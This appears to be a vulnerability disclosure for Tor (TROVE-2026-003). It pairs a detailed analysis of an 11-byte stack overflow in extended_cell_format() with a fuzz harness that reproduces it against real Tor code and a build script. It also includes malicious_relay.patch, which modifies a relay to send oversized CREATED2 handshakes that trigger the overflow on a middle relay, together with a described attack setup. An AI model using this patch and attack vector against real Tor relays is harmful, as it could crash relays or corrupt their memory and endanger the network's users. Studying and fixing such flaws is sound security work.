Potential stack buffer overflow in cell handling code - TROVE-2026-003

Received this one today:

harness.c

/*
 * Harness for stack-buffer-overflow in extended_cell_format()
 * tor/src/core/or/onion.c
 *
 * Bug summary:
 *   When a middle relay receives a CREATED2 cell from the next hop and is
 *   not the circuit origin, it must convert the CREATED2 into an EXTENDED2
 *   relay cell to send back towards the client.
 *
 *   command_process_created_cell() at src/core/or/command.c:414-483 does:
 *     uint8_t payload[RELAY_PAYLOAD_SIZE_MAX];   // 498-byte stack buffer
 *     created_cell_parse(&extended_cell.created_cell, cell);
 *     extended_cell.cell_type = RELAY_COMMAND_EXTENDED2;
 *     extended_cell_format(&command, &len, payload, &extended_cell);
 *
 *   Constants:
 *     CELL_PAYLOAD_SIZE       = 509
 *     RELAY_HEADER_SIZE_V0    = 11
 *     RELAY_PAYLOAD_SIZE_MAX  = 509 - 11 = 498
 *     MAX_CREATED_LEN         = 509 - 2  = 507
 *
 *   created_cell_parse() (onion.c:197) accepts CREATED2 cells with
 *   handshake_len up to MAX_CREATED_LEN = 507:
 *     if (cell_out->handshake_len > MAX_CREATED_LEN)   // 507
 *       return -1;
 *
 *   extended_cell_format() (onion.c:649) then writes into payload_out:
 *     set_uint16(payload_out, htons(handshake_len));           // 2 bytes
 *     if (handshake_len > MAX_CREATED_LEN) return -1;          // 507 -- WRONG BOUND
 *     memcpy(payload_out+2, reply, handshake_len);             // up to 507 bytes
 *
 *   Total bytes written = 2 + 507 = 509 into a 498-byte stack buffer.
 *   => 11-byte stack-buffer-overflow. The overflowed bytes come directly
 *      from the attacker-controlled CREATED2 cell payload.
 *
 *   The correct check would be against RELAY_PAYLOAD_SIZE_MAX - 2 = 496,
 *   not MAX_CREATED_LEN = 507. The range [497, 507] triggers overflow.
 *
 * Attack vector:
 *   Attacker runs a relay R3. Any circuit extended through victim relay R2
 *   to R3 causes R2 to send CREATE2 to R3. R3 replies with a CREATED2 cell
 *   carrying handshake_len=507. R2 enters the non-origin branch of
 *   command_process_created_cell and the stack overflow fires.
 *   The attacker can orchestrate this by also running a client that builds
 *   a 3-hop circuit: attacker-client -> victim(R2) -> attacker-relay(R3).
 *
 * Input format (stdin):
 *   Raw 509-byte cell payload. First 2 bytes are handshake_len (big-endian),
 *   rest is handshake data. Harness constructs a cell_t with
 *   command=CELL_CREATED2 and this payload.
 *
 * This harness exactly mirrors the non-origin branch of
 * command_process_created_cell() at src/core/or/command.c:458-482.
 */

#include "core/or/or.h"
#include "core/or/onion.h"
#include "core/or/cell_st.h"
#include "test/fuzz/fuzzing.h"

#include <string.h>
#include <stdio.h>

int fuzz_init(void)
{
  return 0;
}

int fuzz_cleanup(void)
{
  return 0;
}

/* Mirror command_process_created_cell's non-origin branch.
 * Keep this as a separate non-inlined function so ASan instruments the
 * stack array with redzones identically to how it does in command.c. */
static void __attribute__((noinline))
process_created_as_middle_relay(const cell_t *cell)
{
  extended_cell_t extended_cell;

  /* command.c:436 -- parse the incoming CREATED2 cell.
   * For CREATED2 with handshake_len <= 507, this succeeds. */
  if (created_cell_parse(&extended_cell.created_cell, cell) < 0) {
    fprintf(stderr, "[harness] created_cell_parse rejected input\n");
    return;
  }

  fprintf(stderr, "[harness] parsed CREATED2, handshake_len=%u\n",
          extended_cell.created_cell.handshake_len);

  /* command.c:458-469 -- non-origin branch: pack into EXTENDED2 */
  uint8_t command = 0;
  uint16_t len = 0;
  uint8_t payload[RELAY_PAYLOAD_SIZE_MAX];  /* 498 bytes on the stack */
  memset(payload, 0, sizeof(payload));

  if (extended_cell.created_cell.cell_type == CELL_CREATED2)
    extended_cell.cell_type = RELAY_COMMAND_EXTENDED2;
  else
    extended_cell.cell_type = RELAY_COMMAND_EXTENDED;

  fprintf(stderr, "[harness] calling extended_cell_format with %zu-byte "
                  "stack buffer\n", sizeof(payload));

  /* THE BUG: extended_cell_format writes 2 + handshake_len bytes into
   * payload. For handshake_len > 496, this overflows the 498-byte
   * stack array. onion.c:667 checks against MAX_CREATED_LEN (507)
   * instead of RELAY_PAYLOAD_SIZE_MAX - 2 (496). */
  if (extended_cell_format(&command, &len, payload, &extended_cell) < 0) {
    fprintf(stderr, "[harness] extended_cell_format returned -1\n");
    return;
  }

  fprintf(stderr, "[harness] extended_cell_format wrote len=%u "
                  "(buffer is %zu bytes)\n", len, sizeof(payload));
}

int fuzz_main(const uint8_t *data, size_t sz)
{
  /* Need at least 2 bytes for the handshake_len field. */
  if (sz < 2)
    return 0;

  /* Build a cell_t as it would arrive off the wire at a relay.
   * cell_t.payload is a fixed 509-byte array; zero-pad if input shorter. */
  cell_t cell;
  memset(&cell, 0, sizeof(cell));
  cell.circ_id = 0x12345678;
  cell.command = CELL_CREATED2;

  size_t copy = sz < CELL_PAYLOAD_SIZE ? sz : CELL_PAYLOAD_SIZE;
  memcpy(cell.payload, data, copy);

  process_created_as_middle_relay(&cell);

  return 0;
}

build.sh

#!/bin/bash
# ============================================================================
# build.sh - Build the PoC harness against real Tor code
#
# This script builds a test harness that links against the REAL Tor library
# (libtor-testing.a) compiled from the vulnerable Tor source tree.
# The harness calls the exact same functions (created_cell_parse,
# extended_cell_format) in the exact same order as the production code
# path in command_process_created_cell() at src/core/or/command.c:458-482.
#
# Build flags match the Debian/Ubuntu tor package defaults:
#   gcc -O2 -fstack-protector-strong -D_FORTIFY_SOURCE=2 -fPIE
# ============================================================================
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
TOR_SRC="${SCRIPT_DIR}/../tor"

if [ ! -d "$TOR_SRC/src/core/or" ]; then
    echo "ERROR: Tor source tree not found at $TOR_SRC"
    echo "Clone it with: git clone https://gitlab.torproject.org/tpo/core/tor.git"
    echo "Then checkout: git checkout df027b09cab75efa06efdaceccd00fcda7cc8dd1"
    exit 1
fi

echo "[*] Tor source: $TOR_SRC"
echo "[*] Tor commit: $(cd "$TOR_SRC" && git log --oneline -1)"

# --- Step 1: Configure and build Tor with default (Debian) flags ---
if [ ! -f "$TOR_SRC/src/test/libtor-testing.a" ]; then
    echo "[*] Building Tor with production-default flags (GCC, no sanitizers)..."
    cd "$TOR_SRC"

    if [ ! -f configure ]; then
        ./autogen.sh
    fi

    CC=gcc ./configure \
        --disable-asciidoc --disable-manpage --disable-html-manual \
        --disable-systemd --disable-seccomp --disable-libscrypt \
        --disable-lzma --disable-zstd --disable-dependency-tracking

    make -j"$(nproc)" micro-revision.i
    make -j"$(nproc)" src/test/libtor-testing.a
fi

echo "[*] libtor-testing.a ready"

# --- Step 2: Compile harness with Debian-default flags ---
# These are the flags from dpkg-buildflags on Ubuntu 24.04:
#   -g -O2 -fstack-protector-strong -fstack-clash-protection
#   -mbranch-protection=standard -D_FORTIFY_SOURCE=2
DEBIAN_CFLAGS="-g -O2 -fstack-protector-strong -fstack-clash-protection \
  -D_FORTIFY_SOURCE=2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 \
  -fno-strict-aliasing -DTOR_UNIT_TESTS -DHAVE_CONFIG_H \
  -I$TOR_SRC -I$TOR_SRC/src -I$TOR_SRC/src/ext -I$TOR_SRC/src/ext/trunnel"

echo "[*] Compiling harness with Debian-default flags..."
gcc -c $DEBIAN_CFLAGS "$TOR_SRC/src/test/fuzz/fuzzing_common.c" \
    -o "$SCRIPT_DIR/fuzzing_common.o"
gcc -c $DEBIAN_CFLAGS -x c "$SCRIPT_DIR/harness.c" \
    -o "$SCRIPT_DIR/harness.o"

gcc -fstack-protector-strong -fstack-clash-protection -pie \
    "$SCRIPT_DIR/fuzzing_common.o" "$SCRIPT_DIR/harness.o" \
    "$TOR_SRC/src/test/libtor-testing.a" \
    -lssl -lcrypto -levent -lz -lcap -lm -lpthread \
    -o "$SCRIPT_DIR/harness"

echo "[*] Harness built: $SCRIPT_DIR/harness"
echo "[*] Verifying stack protector is active..."
(nm -D "$SCRIPT_DIR/harness" 2>/dev/null || nm "$SCRIPT_DIR/harness" 2>/dev/null) | grep -q "__stack_chk" && \
    echo "    Stack canary: ENABLED" || echo "    WARNING: stack canary not found"

file "$SCRIPT_DIR/harness"
echo "[*] Build complete."

malicious_relay.patch:

--- a/src/core/mainloop/cpuworker.c
+++ b/src/core/mainloop/cpuworker.c
@@ -523,7 +523,14 @@ cpuworker_onion_handshake_threadfn(void *state_, void *work_)
     case CELL_CREATE:
       cell_out->cell_type = CELL_CREATED; break;
     case CELL_CREATE2:
-      cell_out->cell_type = CELL_CREATED2; break;
+      cell_out->cell_type = CELL_CREATED2;
+      /* PoC: inflate handshake to trigger overflow on middle relay */
+      if (n < 507) {
+        memset(cell_out->reply + n, 0x41, 507 - n);
+        cell_out->handshake_len = 507;
+        log_warn(LD_OR, "PoC: inflated CREATED2 handshake_len from %d to 507", n);
+      }
+      break;
     case CELL_CREATE_FAST:
       cell_out->cell_type = CELL_CREATED_FAST; break;
     default: